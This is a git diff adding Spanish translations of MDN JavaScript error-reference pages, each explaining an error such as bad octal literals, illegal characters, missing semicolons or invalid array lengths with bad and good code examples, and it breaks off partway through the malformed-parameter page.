+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.6">JavaScript 1.6</a></dt>
+ <dd>Version shipped in Firefox 1.5. Released in November 2005.<br>
+ Includes ECMAScript for XML (E4X), new <code>Array</code> methods plus <code>String</code> and <code>Array</code> generics.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a></dt>
+ <dd>Version shipped in Firefox 2. Released in October 2006.<br>
+ Includes generators, iterators, array comprehensions, <code>let</code> expressions, and destructuring assignment.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8">JavaScript 1.8</a></dt>
+ <dd>Version shipped in Firefox 3. Released in June 2008.<br>
+ Includes expression closures, generator expressions and <code>Array.reduce()</code></dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.1">JavaScript 1.8.1</a></dt>
+ <dd>Version shipped in Firefox 3.5. Released on <span class="st">June 30, 2009.<br>
+ Includes the TraceMonkey JIT and supports native JSON.</span></dd>
+ <dt>JavaScript 1.8.2</dt>
+ <dd>Version shipped in Firefox 3.6. Released June 22, 2009.<br>
+ Includes only minor changes.</dd>
+ <dt><a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.8.5">JavaScript 1.8.5</a></dt>
+ <dd>Version shipped in Firefox 4. Released July 27, 2010.<br>
+ Includes many new features for ECMA-262 Edition 5 compliance.<br>
+ This is the last JavaScript version.</dd>
+</dl>
+
+<h2 id="Features_still_requiring_version_opt-in">Features still requiring version opt-in</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code> statement</a></dt>
+ <dd>The <code>let</code> statement requires the JavaScript version 1.7 (or higher) opt-in. See {{bug(932517)}} and {{bug(932513)}}.</dd>
+</dl>
diff --git a/files/es/web/javascript/reference/errors/bad_octal/index.html b/files/es/web/javascript/reference/errors/bad_octal/index.html
new file mode 100644
index 0000000000..b12b1bc346
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/bad_octal/index.html
@@ -0,0 +1,45 @@
+---
+title: 'SyntaxError: "x" is not a legal ECMA-262 octal constant'
+slug: Web/JavaScript/Reference/Errors/Bad_octal
+translation_of: Web/JavaScript/Reference/Errors/Bad_octal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">Warning: SyntaxError: 08 is not a legal ECMA-262 octal constant.
+Warning: SyntaxError: 09 is not a legal ECMA-262 octal constant.
+</pre>
+
+<h2 id="Tipo_de_Error">Tipo de Error</h2>
+
+<p>{{jsxref("SyntaxError")}} warning in <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> only.</p>
+
+<h2 id="Que_salio_mal">Que salio mal ?</h2>
+
+<p><span id="result_box" lang="es"><span>Los literales decimales pueden comenzar con un cero (0) seguido de otro dígito decimal, pero Si todos los dígitos después del 0 inicial son más pequeños que 8, el número se interpreta como un número octal.</span> <span>Pero este no es el caso con 08 y 09, JavaScript advierte sobre ello.</span></span></p>
+
+<p><span id="result_box" lang="es"><span>Tenga en cuenta que las literales octales y las secuencias de escape octal están obsoletas y presentarán una advertencia de depreciación adicional.</span> <span>Con ECMAScript 6 y posteriores, la sintaxis utiliza un cero a la izquierda seguido de una letra latina en minúscula o mayúscula "O" (0o o 0O).</span> <span>Consulte la página sobre gramática léxica para obtener más información.</span></span></p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Numeros_octales_invalidos">Numeros octales invalidos</h3>
+
+<pre class="brush: js example-bad">08;
+09;
+// SyntaxError: 08 is not a legal ECMA-262 octal constant
+// SyntaxError: octal literals and octal escape sequences are deprecated</pre>
+
+<h3 id="Números_octales_válidos"><span class="short_text" id="result_box" lang="es"><span>Números octales válidos</span></span></h3>
+
+<p><span class="short_text" id="result_box" lang="es"><span>Utilice el cero inicialmente seguido de la letra "o";</span></span></p>
+
+<pre class="brush: js example-good">0O755;
+0o644;
+</pre>
+
+<h2 id="Ver_Tambien">Ver Tambien</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">Gramatica lexica</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/caracter_ilegal/index.html b/files/es/web/javascript/reference/errors/caracter_ilegal/index.html
new file mode 100644
index 0000000000..cc9422a21d
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/caracter_ilegal/index.html
@@ -0,0 +1,83 @@
+---
+title: 'ErrorDeSintaxis: Caracter ilegal'
+slug: Web/JavaScript/Reference/Errors/caracter_ilegal
+tags:
+  - Error
+  - Error de sintaxis
+  - JavaScript
+  - SyntaxError
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/Illegal_character
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">SyntaxError: illegal character (Firefox)
+SyntaxError: Invalid or unexpected token (Chrome)</pre>
+
+<pre class="syntaxbox">ErrorDeSintasix: Carácter ilegal (Firefox)
+ErrorDeSintasix: Componente léxico inválido o inesperado (Chrome)
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("SyntaxError")}}  {{jsxref("ErrorDeSintaxis")}}</p>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>Hay un componente léxico inválido o inesperado que no pertenece a su posición en el código. Utilice un editor que soporte el resaltado de sintaxis y que revise cuidadosamente su código contra discrepancias como un signo menos (<code> - </code>) contra un guion (<code> – </code>) o comillas simples (<code> " </code>) contra comillas no estándar (<code> “ </code>).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Caracteres_no_coincidentes">Caracteres no coincidentes</h3>
+
+<p>Algunos caracteres parecen iguales, pero hará que el analizador falle al interpretar su código.</p>
+
+<pre class="brush: js example-bad">“Esto parece una cadena de caracteres”;
+<code class="language-js"><span class="comment token">// SyntaxError: illegal character</span></code>
+// ErrorDeSintaxis: Carácter ilegal
+
+42 – 13;
+<code class="language-js"><span class="comment token">// SyntaxError: illegal character</span></code>
+// ErrorDeSintaxis: Carácter ilegal
+</pre>
+
+<p>Esto debería funcionar:</p>
+
+<pre class="brush: js example-good">"Esto en realidad es una cadena de caracteres";
+
+42 - 13;
+</pre>
+
+<h3 id="Caracteres_olvidados">Caracteres olvidados</h3>
+
+<p>Es fácil olvidar caracteres aquí o allí.</p>
+
+<pre class="brush: js example-bad">var colors = ['#000', #333', '#666'];
+<code class="language-js"><span class="comment token">// SyntaxError: illegal character</span></code>
+// ErrorDeSintaxis: Carácter ilegal
+</pre>
+
+<p>Agregue la comilla olvidada para <code><strong>'</strong>#333'</code>.</p>
+
+<pre class="brush: js example-good">var colors = ['#000', '#333', '#666'];</pre>
+
+<h3 id="Caracteres_escondidos">Caracteres escondidos</h3>
+
+<p>Cuando copia y pega un código de una fuente externa, puede haber caracteres inválidos. ¡Cuidado!</p>
+
+<pre class="brush: js example-bad">var foo = 'bar';​
+<code class="language-js"><span class="comment token">// SyntaxError: illegal character</span></code>
+// ErrorDeSintaxis: Carácter ilegal
+</pre>
+
+<p>Al inspeccionar este código en un editor como Vim, puede ver que en realidad hay un carácter de <a href="https://en.wikipedia.org/wiki/Zero-width_space">espacio de ancho cero (ZWSP) (U+200B)</a>.</p>
+
+<pre class="brush: js">var foo = 'bar';​&lt;200b&gt;</pre>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Gramática léxica</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/deprecated_source_map_pragma/index.html b/files/es/web/javascript/reference/errors/deprecated_source_map_pragma/index.html
new file mode 100644
index 0000000000..bd44b0ed7c
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/deprecated_source_map_pragma/index.html
@@ -0,0 +1,57 @@
+---
+title: >-
+  SyntaxError: Using //@ to indicate sourceURL pragmas is deprecated. Use //#
+  instead
+slug: Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma
+tags:
+  - Error
+  - Fuente
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Errors/Deprecated_source_map_pragma
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">Advertencia: Error de Sintaxis al utilizar //@ para indicar el código fuente de la URL esta obsoleto. En su lugar use //#.
+
+Advertencia: Error de Sintaxis: al utilizar //@ para indicar el mapeo de programas del código fuente de la URL esta obsoleto. En su lugar use //#.
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>Una advertencia ocurrida como esta {{jsxref("SyntaxError")}}. JavaScript no se detendrá.</p>
+
+<h2 id="Descripción_del_error">Descripción del error</h2>
+
+<p>Esta es una sintaxis obsoleta del codigo fuente de mapa en JavaScript.</p>
+
+<p>Las sintaxis de código fuente de mapa en JavaScript se suelen combinar y minificar para hacer que la entrega desde el servidor sea más eficiente. Con los códigos de origen de  mapas, el depurador puede asignar el código que se está ejecutando a los archivos de origen.</p>
+
+<p>La especificación de mapa de código fuente cambió la sintaxis debido a un conflicto con IE  con la versión windows 8.x siempre que se encontró en la página. Despues <code> //@cc_on</code> fue interpretado para activar la compilación condicional en el motor IE  JScript. <a href="https://docs.microsoft.com/en-us/scripting/javascript/reference/at-cc-on-statement-javascript">El comentario de compilación condicional</a> en IE es una característica poco conocida, pero rompió mapas de fuente de origen con <a href="https://bugs.jquery.com/ticket/13274">jQuery</a> y otras bibliotecas.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Sintaxis_obsoleta">Sintaxis obsoleta</h3>
+
+<p>Sintaxis con el signo obsoleto "@".</p>
+
+<pre class="brush: js example-bad">//@ sourceMappingURL=http://example.com/path/to/your/sourcemap.map
+</pre>
+
+<h3 id="Sintaxis_estándar">Sintaxis estándar</h3>
+
+<p>En su lugar use el signo "#".</p>
+
+<pre class="brush: js example-good">//# sourceMappingURL=http://example.com/path/to/your/sourcemap.map</pre>
+
+<p>O, alternativamente, puede establecer un encabezado en su archivo JavaScript para evitar tener un comentario de error de sintaxis:</p>
+
+<pre class="brush: js example-good">X-SourceMap: /path/to/file.js.map</pre>
+
+<h2 id="Vea_También">Vea También</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">Como utilizar un mapa de Fuentes - Documentación de Herramientas de Firefox</a><a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map"> </a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">Introducción a las fuentes  – HTML5 rocks</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/falta_puntoycoma_antes_de_declaracion/index.html b/files/es/web/javascript/reference/errors/falta_puntoycoma_antes_de_declaracion/index.html
new file mode 100644
index 0000000000..c03cb15dd2
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/falta_puntoycoma_antes_de_declaracion/index.html
@@ -0,0 +1,72 @@
+---
+title: 'ErrordeSintaxis: Punto y coma ; faltante antes de la declaracion'
+slug: Web/JavaScript/Reference/Errors/Falta_puntoycoma_antes_de_declaracion
+tags:
+  - JavaScript
+  - errores
+  - errorsintaxis
+  - puntoycoma
+translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+---
+<div>{{jsSidebar("Errores")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">Error de Sintaxis: Punto y coma ; faltante antes de la declaración
+</pre>
+
+<h2 id="Tipo_de_Error">Tipo de Error</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="¿Qué_salio_mal">¿Qué salio mal?</h2>
+
+<p>Hay un punto y coma (<code>;</code>) faltando en alguna parte. Las declaraciones Javascript deben terminar con punto y coma. Algunas de ellas son afectadas por la inserción automática<a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion"> (ASI)</a>, pero en este caso necesitas colocar un punto y coma, de esta forma Javascript puede analizar el código fuente de forma correcta.</p>
+
+<p>Sin embargo, algunas veces, este error es solo una consecuencia de otro error, como no separar las cadenas de texto correctamente, o usar <em>var</em> incorrectamente. Tal vez tengas muchos paréntesis en algún lugar. Revisa cuidadosamente la sintaxis cuando este error es lanzado.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Cadenas_de_texto_(strings)_sin_terminar">Cadenas de texto (strings) sin terminar</h3>
+
+<p>Este error puede pasar fácilmente cuando no se colocan las comillas correctamente y el motor de JavaScript esta esperando el final de la cadena. por ejemplo:</p>
+
+<pre class="brush: js example-bad">var foo = 'El bar de Tom's';
+// Error de Sintaxis: Punto y coma ; faltante antes de la declaración</pre>
+
+<p>En este caso se pueden usar comillas dobles para escapar del apóstrofe:</p>
+
+<pre class="brush: js example-good">var foo = "El bar de Tom's";
+var foo = 'El bar de Tom\'s';
+</pre>
+
+<div class="note">
+<p>Nota: Este error suele pasar frecuentemene con cadenas del idioma Inglés</p>
+</div>
+
+<h3 id="Declarar_propiedades_con_var">Declarar propiedades con var</h3>
+
+<p><strong>No se pueden</strong> declarar propiedades de un objeto o arreglo con una declaración <code>var</code></p>
+
+<pre class="brush: js example-bad">var obj = {};
+var obj.foo = 'hola'; // Error de Sintaxis: Punto y coma ; faltante antes de la declaración
+
+var array = [];
+var array[0] = 'mundo'; // Error de Sintaxis: Punto y coma ; faltante antes de la declaración
+</pre>
+
+<p>En vez de esto. omitamos la palabra  <code>var</code>:</p>
+
+<pre class="brush: js example-good">var obj = {};
+obj.foo = 'hola';
+
+var array = [];
+array[0] = 'mundo';
+</pre>
+
+<h2 id="Ver_también">Ver también:</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">Automatic semicolon insertion (ASI)</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript statements</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/in_operator_no_object/index.html b/files/es/web/javascript/reference/errors/in_operator_no_object/index.html
new file mode 100644
index 0000000000..d2a549f48a
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/in_operator_no_object/index.html
@@ -0,0 +1,71 @@
+---
+title: 'TypeError: cannot use ''in'' operator to search for ''x'' in ''y'''
+slug: Web/JavaScript/Reference/Errors/in_operator_no_object
+tags:
+  - Error
+  - JavaScript
+  - TiposError
+  - TypeError
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/in_operator_no_object
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">TypeError: cannot use 'in' operator to search for 'x' in 'y' (Firefox, Chrome)
+</pre>
+
+<h2 id="Tipo_de_Error">Tipo de Error</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>El <a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">operador <code>in</code> </a>puede ser usado sólo para verificar si una propiedad se encuentra en un objeto. No puede buscar en cadenas de caracteres, o en números, u otro tipo primitivo.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Buscando_en_cadenas_de_caracteres">Buscando en cadenas de caracteres</h3>
+
+<p>A diferencia de otros lenguajes de programación (ej. Python), no puede buscar cadenas de texto usando el<a href="/en-US/docs/Web/JavaScript/Reference/Operators/in"> operator</a> <a href="/en-US/docs/Web/JavaScript/Reference/Operators/in"><code>in</code></a>.</p>
+
+<pre class="brush: js example-bad">"Hello" in "Hello World";
+// TypeError: cannot use 'in' operator to search for 'Hello' in 'Hello World'</pre>
+
+<p>En su lugar, deberá usar {{jsxref("String.prototype.indexOf()")}}, por ejemplo.</p>
+
+<pre class="brush: js example-good">"Hello World".indexOf("Hello") !== -1;
+// true</pre>
+
+<h3 id="El_operando_no_puede_ser_null_o_undefined">El operando no puede ser <code>null</code> o <code>undefined</code></h3>
+
+<p>Asegúrese que el objeto que está inspeccionando no sea {{jsxref("null")}} o {{jsxref("undefined")}}.</p>
+
+<pre class="brush: js example-bad">var foo = null;
+"bar" in foo;
+// TypeError: cannot use 'in' operator to search for 'bar' in 'foo'
+</pre>
+
+<p>El operador <code>in</code> siempre espera un objeto.</p>
+
+<pre class="brush: js example-good">var foo = { baz: "bar" };
+"bar" in foo; // false
+
+"PI" in Math; // true
+"pi" in Math; // false
+</pre>
+
+<h3 id="Buscando_en_arreglos">Buscando en arreglos</h3>
+
+<p>Tenga cuidado cuando use el operador <code>in</code> para buscar en objetos {{jsxref("Array")}}. El operador <code>in</code> verifica el índice numérico, no el valor de dicho índice.</p>
+
+<pre class="brush: js">var trees = ['redwood', 'bay', 'cedar', 'oak', 'maple'];
+3 in trees; // true
+"oak" in trees; // false</pre>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/in"><code>in</code> operator</a></li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/index.html b/files/es/web/javascript/reference/errors/index.html
new file mode 100644
index 0000000000..c752aa10c6
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/index.html
@@ -0,0 +1,29 @@
+---
+title: JavaScript error reference
+slug: Web/JavaScript/Reference/Errors
+tags:
+  - Depuración
+  - Error
+  - Excepciones
+  - Excepción
+  - JavaScript
+  - errores
+translation_of: Web/JavaScript/Reference/Errors
+---
+<p>{{jsSidebar("Errors")}}</p>
+
+<p>Abajo encontraras una lista de los errores que son generados por JavaScript. Estos errores pueden ser una ayuda útil al depurar, aunque el problema reportado no siempre es precisamente claro. Las paginas de abajo proporcionan detalles adicionales sobre estos errores. Cada error es un objeto basado en el objeto {{jsxref("Error")}} , y tiene un <code>nombre</code> y un <code>mensaje</code>.</p>
+
+<p>Los errores mostrados en la consola web pueden incluir un link a la pagina debajo correspondiente para ayudarte a comprender rápidamente el problema en tu código.</p>
+
+<h2 id="Lista_de_errores">Lista de errores</h2>
+
+<p>En esta lista, cada pagina esta ordenada por nombre (el tipo de error) y el mensaje (un mensaje de error mas detallado y legible). Juntos,estas dos propiedades proveen un punto de partida hacia el entendimiento y la resolución del problema. Para mas información, ¡Sigue los links abajo!</p>
+
+<p>{{ListSubPages("/en-US/docs/Web/JavaScript/Reference/Errors")}}</p>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">¿Qué salió mal? Solucionando Javascript</a>: El tutorial introductorio para principiantes sobre la reparación en errores de JavaScript.</li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/indicador_regexp_no-val/index.html b/files/es/web/javascript/reference/errors/indicador_regexp_no-val/index.html
new file mode 100644
index 0000000000..3bb05d9b89
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/indicador_regexp_no-val/index.html
@@ -0,0 +1,113 @@
+---
+title: 'SyntaxError: indicador de expresión regular no válido "x"'
+slug: Web/JavaScript/Reference/Errors/Indicador_regexp_no-val
+tags:
+  - Error
+  - Error de sintaxis
+  - JavaScript
+  - SyntaxError
+translation_of: Web/JavaScript/Reference/Errors/Bad_regexp_flag
+---
+<div>{{jsSidebar("Errors", "Errores")}}</div>
+
+<p>La excepción de JavaScript "indicador de expresión regular no válido" se produce cuando las indicadores, definidas después de la segunda barra en la expresión regular literal, no son de <code>g</code>, <code>i</code>, <code>m</code>, <code>s</code>, <code>u</code> o <code>y</code>.</p>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox notranslate">SyntaxError: error de sintaxis en la expresión regular (Edge)
+SyntaxError: marca de expresión regular no válida "x" (Firefox)
+SyntaxError: indicadores de expresión regular no válidos (Chrome)
+</pre>
+
+<h2 id="Tipo_Error">Tipo <code>Error</code></h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="¿Qué_salió_mal">¿Qué salió mal?</h2>
+
+<p>Hay indicadores de expresión regular no válidos en el código. En una expresión regular literal, que consiste en un patrón encerrado entre barras, los indicadores se definen después de la segunda barra. También se pueden definir en la función constructora del objeto {{jsxref("RegExp")}} (segundo parámetro). Los indicadores de expresión regular se pueden usar por separado o juntos en cualquier orden, pero solo hay seis de ellos en ECMAScript.</p>
+
+<p>Para incluir una bandera con la expresión regular, usa esta sintaxis:</p>
+
+<pre class="brush: js notranslate">var re = /patrón/indicadores;
+</pre>
+
+<p>o</p>
+
+<pre class="brush: js notranslate">var re = new RegExp('patrón', 'indicadores');</pre>
+
+<table class="standard-table">
+ <caption>Indicadores de expresión regular</caption>
+ <thead>
+  <tr>
+   <th scope="col">Bandera</th>
+   <th scope="col">Descripción</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>Búsqueda global.</td>
+  </tr>
+  <tr>
+   <td>i</td>
+   <td>Búsqueda que no distingue entre mayúsculas y minúsculas.</td>
+  </tr>
+  <tr>
+   <td>m</td>
+   <td>Búsqueda multilínea.</td>
+  </tr>
+  <tr>
+   <td>s</td>
+   <td>Permite que el punto (<code>.</code>) coincida con las nuevas líneas (agregado en ECMAScript 2018)</td>
+  </tr>
+  <tr>
+   <td>u</td>
+   <td>Unicode; trata el patrón como una secuencia de puntos de código Unicode</td>
+  </tr>
+  <tr>
+   <td>y</td>
+   <td>Realiza una búsqueda "pegajosa" que coincida a partir de la posición actual en la cadena de destino. Consulta {{jsxref("RegExp.sticky", "sticky")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Solo hay seis indicadores de expresión regular válidos.</p>
+
+<pre class="brush: js example-bad notranslate">/foo/bar;
+
+// SyntaxError: indicador de expresión regular no válido "b"
+</pre>
+
+<p>¿Tenías la intención de crear una expresión regular? Una expresión que contiene dos barras se interpreta como una expresión regular literal.</p>
+
+<pre class="brush: js example-bad notranslate">let obj = {
+  url: /docs/Web
+};
+
+// SyntaxError: indicador de expresión regular no válido "W"
+</pre>
+
+<p>¿O pretendías crear una cadena en su lugar? Agrega comillas simples o dobles para crear una cadena literal.</p>
+
+<pre class="brush: js example-good notranslate">let obj = {
+  url: '/docs/Web'
+};</pre>
+
+<h3 id="Indicadores_de_expresión_regular_válidos">Indicadores de expresión regular válidos</h3>
+
+<p>Consulta la tabla anterior para ver las seis marcas de expresiones regulares válidas que están permitidas en JavaScript.</p>
+
+<pre class="brush: js example-good notranslate">/foo/g;
+/foo/gims;
+/foo/uy;
+</pre>
+
+<h2 id="Ve_también">Ve también</h2>
+
+<ul>
+ <li>{{JSxRef("../Guide/Regular_Expressions", "Expresiones regulares")}}</li>
+ <li><a href="http://xregexp.com/flags/">Indicadores de RegEx</a> – biblioteca de expresiones regulares que proporciona cuatro nuevos indicadores (<code>n</code>, <code>s</code>, <code>x</code>, <code>A</code>)</li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/invalid_array_length/index.html b/files/es/web/javascript/reference/errors/invalid_array_length/index.html
new file mode 100644
index 0000000000..f0665e5e7f
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/invalid_array_length/index.html
@@ -0,0 +1,78 @@
+---
+title: 'RangeError: invalid array length'
+slug: Web/JavaScript/Reference/Errors/Invalid_array_length
+tags:
+  - Array
+  - JavaScript
+  - RangeError
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">RangeError: invalid array length (Firefox)
+RangeError: Invalid array length (Chrome)
+RangeError: Invalid array buffer length (Chrome)
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="¿Cuál_es_el_problema">¿Cuál es el problema?</h2>
+
+<p>Una longitud de array inválida puede presentarse en éstas situaciones:</p>
+
+<ul>
+ <li>Cuando se crea un {{jsxref("Array")}} o un {{jsxref("ArrayBuffer")}} el cual tiene una longitud negativa o es igual o mayor a 2<sup>32</sup>, o</li>
+ <li>cuando se define la propiedad {{jsxref("Array.length")}} a un valor el cual es negativo o es igual o mayor a 2<sup>32</sup>.</li>
+</ul>
+
+<p>¿Por qué el <code>Array</code> y <code>ArrayBuffer</code> tienen longitud limitada? La propiedad de longitud de un <code>Array</code> o un <code>ArrayBuffer</code> está representada con un entero sin signo de 32 bits, el cual sólo puede almacenar valores que estén en el rango de 0 a 2<sup>32</sup>-1.</p>
+
+<p>Si estás creando un <code>Array</code> usando el constructor, es mejor que utilices la notación literal, ya que el primer argumento es interpretado como la longitud del <code>Array</code>.</p>
+
+<p>De lo contrario, puedes <span class="_Tgc">especificar</span> un mínimo y un máximo para la longitud antes de definir la propiedad de longitud, o puedes usarla como el argumento del constructor.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Casos_inválidos">Casos inválidos</h3>
+
+<pre class="brush: js example-bad">new Array(Math.pow(2, 40))
+new Array(-1)
+new ArrayBuffer(Math.pow(2, 32))
+new ArrayBuffer(-1)
+
+let a = [];
+a.length = a.length - 1;         // definir la propiedad de longitud a -1
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = b.length + 1;         // definir la propiedad de longitud a 2^32
+</pre>
+
+<h3 id="Casos_válidos">Casos válidos</h3>
+
+<pre class="brush: js example-good">[ Math.pow(2, 40) ]                     // [ 1099511627776 ]
+[ -1 ]                                  // [ -1 ]
+new ArrayBuffer(Math.pow(2, 32) - 1)
+new ArrayBuffer(0)
+
+let a = [];
+a.length = Math.max(0, a.length - 1);
+
+let b = new Array(Math.pow(2, 32) - 1);
+b.length = Math.min(0xffffffff, b.length + 1);
+
+// 0xffffffff es la notación hexadecimal de 2^32 - 1
+// el cual también se puede especificar como (-1 &gt;&gt;&gt; 0)
+</pre>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Array.length")}}</li>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/invalid_date/index.html b/files/es/web/javascript/reference/errors/invalid_date/index.html
new file mode 100644
index 0000000000..f8036e83e2
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/invalid_date/index.html
@@ -0,0 +1,58 @@
+---
+title: 'RangeError: invalid date'
+slug: Web/JavaScript/Reference/Errors/Invalid_date
+tags:
+  - ErrorDeRango
+  - JavaScript
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/Invalid_date
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">RangeError: invalid date (Firefox)
+RangeError: invalid time value (Chrome)
+RangeError: Provided date is not in valid range (Chrome)
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="¿Cuál_es_el_problemaEdit">¿Cuál es el problema?<a class="button section-edit only-icon" href="https://developer.mozilla.org/es/docs/Web/JavaScript/Reference/Errors/Invalid_array_length$edit#¿Cuál_es_el_problema" rel="nofollow, noindex"><span>Edit</span></a></h2>
+
+<p><span id="noHighlight_0.5046278067977897">Se ha proporcionado una cadena con una fecha no válida para </span>{{jsxref("Date")}} o {{jsxref("Date.parse()")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Casos_no_válidos">Casos no válidos</h3>
+
+<div class="textArea" id="destText" style="direction: ltr;">
+<div><span id="noHighlight_0.47667740970902406">Las cadenas o fechas irreconocibles que contienen valores de elementos ilegales en cadenas con formato ISO suelen devolver {{jsxref("Nan")}}. Sin embargo, dependiendo de la implementación, las cadenas de formato ISO no conformes, también pueden lanzar </span><code>RangeError: invalid date</code><span>, como los siguientes casos en Firefox:</span></div>
+
+<div> </div>
+</div>
+
+<pre class="brush: js example-bad">new Date('foo-bar 2014');
+new Date('2014-25-23').toISOString();
+new Date('foo-bar 2014').toString();
+</pre>
+
+<p>Esto, sin embargo, devuelve {{jsxref("NaN")}} en Firefox:</p>
+
+<pre class="brush: js example-bad">Date.parse('foo-bar 2014'); // NaN</pre>
+
+<p>Para más información, consulte la documentación de {{jsxref("Date.parse()")}}.</p>
+
+<h3 id="Casos_válidos">Casos válidos</h3>
+
+<pre class="brush: js example-good">new Date('05 October 2011 14:48 UTC');</pre>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{jsxref("Date")}}</li>
+ <li>{{jsxref("Date.prototype.parse()")}}</li>
+ <li>{{jsxref("Date.prototype.toISOString()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/reference/errors/malformed_formal_parameter/index.html b/files/es/web/javascript/reference/errors/malformed_formal_parameter/index.html
new file mode 100644
index 0000000000..b4139e8269
--- /dev/null
+++ b/files/es/web/javascript/reference/errors/malformed_formal_parameter/index.html
@@ -0,0 +1,60 @@
+---
+title: 'SyntaxError: Malformed formal parameter'
+slug: Web/JavaScript/Reference/Errors/Malformed_formal_parameter
+tags:
+  - JavaScript
+  - SyntaxError
+  - errores
+translation_of: Web/JavaScript/Reference/Errors/Malformed_formal_parameter
+---
+<h2 id="Mensaje">Mensaje</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected {x} (Edge)
+SyntaxError: malformed formal parameter (Firefox)
+</pre>
+
+<h2 id="Tipo_de_error">Tipo de error</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
